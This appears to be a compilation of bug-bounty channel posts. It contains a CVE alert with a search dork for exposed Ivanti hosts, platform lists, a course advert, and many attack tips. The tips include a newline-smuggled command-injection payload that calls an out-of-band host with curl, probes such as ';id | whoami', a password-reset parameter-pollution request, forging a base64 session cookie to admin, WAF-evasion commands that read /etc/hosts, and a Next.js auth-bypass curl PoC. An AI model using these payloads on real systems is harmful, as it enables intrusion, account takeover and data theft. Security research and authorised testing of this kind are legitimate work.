CVE-2025-22457: RCE in Ivanti Connect Secure, 9.0 rating 🔥

A buffer overflow in Ivanti Connect Secure allows an unauthenticated attacker to perform remote code execution.

Search at Netlas.io:
👉 Link: https://nt.ls/zsWig
👉 Dork: http.body:"welcome.cgi?p=logo"

Vendor's advisory: https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457?language=en_US

🔥 Web Pentesting & Bug Bounty Batch – Starting April!

Master Web Penetration Testing with a Bug Bounty Approach in our new batch starting this April! Learn real-world attack scenarios, exploitation techniques, and defense strategies.

✅ Weekday & Weekend Batches – Evening Slots (IST)
✅ Hands-on Labs & Live Automations
✅ Bug Bounty Methodologies & Practical Hunting
✅ Community Support & Private POC Access

📩 Limited slots! Enroll now and take your hacking skills to the next level.

📱 DM https://wa.link/brutsecurity for details! (https://wa.me/+918945971332)

🤫30 Cybersecurity search engines🔥

🌀Download all bug bounty programs domains in scope items 🎯

😉Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more – all in one place!💥

👇🏼Step 1: Download the domains.txt file

📂step 2: Extract only main/root domains

`cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains`

📂Step 3: Extract all IP addresses:

`grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt`

Don't forget to give reactions❤️

🔥Top 25 Bug Bounty Platform 💰

01. Bugcrowd
02. HackerOne
03. Intigriti
04. YesWeHack
05. Synack, Inc.
06. HackenProof | Web3 bug bounty platform
07. Open Bug Bounty
08. Immunefi
09. Cobalt
10. Zerocopter
11. Yogosha
12. SafeHats
13. Vulnerability Research Labs, LLC
14. AntiHACKme Pte Ltd
15. RedStorm Information Security
16. Cyber Army Indonesia
17. Hacktrophy
18. Nordic Defender
19. Capture The Bug
20. Bugbounter
21. Detectify
22. BugBase
23. huntr
24. Pentabug
25. SecureBug

Happy Hunt ❤️

⚡Top 25 Cybersecurity projects in GitHub, those are really awesome 😎

🔥Never forget to check for blind RCE!💥

I was testing a login panel and had a gut feeling the username field might be vulnerable. I tried some classic payloads like:

;id | whoami & uname

But... firewall detected and blocked them all.
Even when I tried curl or ping for blind RCE — still blocked.

Then I thought: maybe the WAF is only scanning the first line of the input? So why not try a little trick?

Payload idea: Inject a newline before the actual payload:

attacker'%0acurl https://tluxnubdqopuwecbljrj5i6tot8ddd64b.oast.fun

(Use %0a for newline — URL encoded)

And boom — Blind RCE triggered! My server got the hit instantly.

Cybersecurity isn’t about effort — it’s about mindset. Deep thinking always wins over brute force.❤️
DarkShadow

🔥You can find💥
Broken access control to idor vulnerability:
using this simple tricks (effective for .net webapps and sometimes work in php based webapps)🧐😎

target.com/hidden this page required authentication or redirect to /login page.

Try: target.com/login/hidden

OMG! Auth bypass ✅

Password Reset Bypass Trick 🌀

Some poorly secured endpoints accept multiple email parameters.😳

Try this:

POST /passwordReset HTTP/1.1
Content-Type: application/x-www-form-urlencoded

[email protected]&[email protected]

Or in JSON:

{
"email": ["[email protected]", "[email protected]"]
}

If the app sends the reset link to both emails… you’re in.⚡
Now imagine if the victim is an admin — hello dashboard, hello bounty!💰

#bugbountytips

Recently disclosed hackerone critical bug, which can exploitable under few minutes!

POC:
GET /reports/***.json HTTP/2
Host: hackerone.com

If you all guys interested to know simple and Smart tricks — never forget to react ❤️

A simple hunt can flip the whole game!🌀
While testing a web app, I noticed this suspicious-looking session cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==

I quickly ran it through Base64 decoding:

echo "e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==" | base64 -d
{user:darkshadow,role:user}

Wow 😳 — it's a JSON-style string in plain Base64.
Time to see how deep the rabbit hole goes...

I modified the role from user to admin:

echo "{user:darkshadow,role:admin}" | base64
e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

Then replaced the cookie:

Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=

BOOM 💥 Instantly, we got admin access!🔥

Follow me 👉🏼 ...DarkShadow...

🤫Everyone Let's dive deep into the art of WAF bypass techniques — a must-know skill for every serious bug bounty hunter.⚡

⚡Bypass Series for bug hunters😎

Part-1
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF
tac /etc/hosts - 🧙‍♂️
man /etc/hosts - 😎
nl /etc/hosts - 🤯
less /etc/hosts - 🤫
more /etc/hosts - 😌
strings /etc/hosts - 😁
tail /etc/hosts - 😅
head /etc/hosts -🥱

Follow me👉🏼 DarkShadow
#Bugbountytips #series

⚡Bypass Series for bug hunters😎

Part-2
Crazy WAF Bypass:
cat /etc/hosts - triggers WAF

xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null

Follow me👉🏼 DarkShadow
#Bugbountytips #series@brutsecurity

🌀 This is wild!

You’ve probably seen the buzz around the Next.js middleware auth bypass (CVE-2025-29927) — but there’s another less-known yet similar vulnerability: CVE-2024-51479.

This flaw allows attackers to bypass authentication by abusing the __nextLocale query parameter in the URL, tricking the middleware into granting access to protected routes.

Proof of Concept (PoC):

curl https://target.com/?__nextLocale=/admin

This vulnerability was fixed in Next.js v14.2.15, and Vercel-hosted apps have already been patched automatically.

I found a very cool article explaining everything in detail:

https://gmo-cybersecurity.com/blog/another-nextjs-middleware-bypass-en